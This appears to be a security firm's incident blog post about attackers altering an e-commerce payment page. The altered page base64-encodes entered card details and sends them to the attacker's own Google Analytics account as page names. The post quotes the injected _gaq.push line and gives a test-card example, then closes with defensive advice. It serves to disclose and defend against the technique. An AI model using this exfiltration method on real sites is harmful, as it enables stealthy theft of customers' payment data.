Card Data Siphon with Google Analytics

The introduction of EMV (Chip &Pin) payment devices in 2003 resulted in a rapid decline in physical creditcard cloning in Europe. EMV technology has also led to anincrease in attacks on e-commerce systems targeting cardholder data.

Each year, Trustwave SpiderLabs investigates hundreds of incidentsof data compromise. I work on some of these investigations and occasionally getto evaluate some rather unusual attack vectors. This blog post details a noveldata extraction technique using Google Analytics that I found during a recentinvestigation. We have evidence of this technique being used in the wild. Forthe purposes of this article, however, I have replicated the attack in a testenvironment.

Once an attacker accesses an e-commerce system, their next step is locating cardholder data. In most of my investigations, I see attackers either download stored credit card data or modify source code to capture data as it passes through the system and then send it back to their own system. In this particular case, the merchant did not store credit card information. As a result, the attackers captured the data as it entered the system and then siphoned it to their own system.

We see many forms of real-time capturing of credit card data. In the majority of cases, attackers change a payment page's source code to send the data to an e-mail address, a different server via POST requests, or a storage file for later collection. These techniques rely on the merchant's server sending the data outbound or storing it internally, which could be detected by network monitoring.

In this case, whilst reviewing the source code for the merchant's payment pages, I noticed that a line had been added at the bottom of the page. That line of code appeared to collect data entered into the credit card fields in a base64 encoded string:

At this point, I'd expect to see the php variable '$a' being sent to a malicious IP address but couldn't find any evidence of this. After further review of the source code, I found the variable '$a' being referenced in the following piece of code:

This modified source code instructs the customer's browser to send the string '$a' – which contains a customer's base64 encoded credit card data - to Google Analytics via JavaScript. The attacker had replaced merchant's Google Analytics account ID to his own - 'UA-00000000-1'. The other line added, _gaq.push(['_set', 'page', '".$a."']), passed the base64 encoded string '$a' to Google Analytics as a page name variable.

Even the most savvy of customers, those who monitor their HTTP requests, could fail to identify this malicious activity. The base64 encoded string is not displayed on the page, and the outbound request is sent to the trusted Google brand. The requests do not seem out of the ordinary as the merchant's website already used Google Analytics.

With these modifications in place, the attackers can sit back and let the credit cards roll in. Once a week they can log-in to their Google Analytics accounts and harvest cardholder data via the base64 encoded page names.

After discovering this innovative use of Google's JavaScript to extract credit card data, I wanted to test this independently. To demonstrate, I setup my own Google Analytics account and created base64 encoded strings similar to:

Original: Richard|Wells|4111111111111111|1234|123|ITWORKS
Base64:UmljaGFyZHxXZWxsc3w0MTExMTExMTExMTExMTExfDEyMzR8MTIzfElUV09SS1M=

These strings were then sent from a website to my Analytics account, using hacked JavaScript. Once I logged-in to Google Analytics I was presented with the following screen:

The truncated string in the 'Page' field can be found in full within the Google Analytics source code:

Decoding the string provides me with the original message, or in the case of our attackers – the credit card details. My next question was, "While the extraction method works, what can be seen from the client side?".

The browser just shows a Google Analytics request, posting a base64 string, which wouldn't look out of place on most websites.

It is interesting to note that at no point in this process did I have to verify with Google that I was the owner of the webpage. This is a potential issue that could be resolved by only allowing one registered Analytics user per domain.

Using Google Analytics to extract credit card data is stealthy as no data is directly passed from the server and will not appear in web logs. Neither will anti-virus detect it. The best methods to defend against these sorts of attacks are File Integrity Monitoring and alerting for any changes made to the source code. Setting appropriate read-only permissions for the web users would also help to defend against real-time capture of credit cards.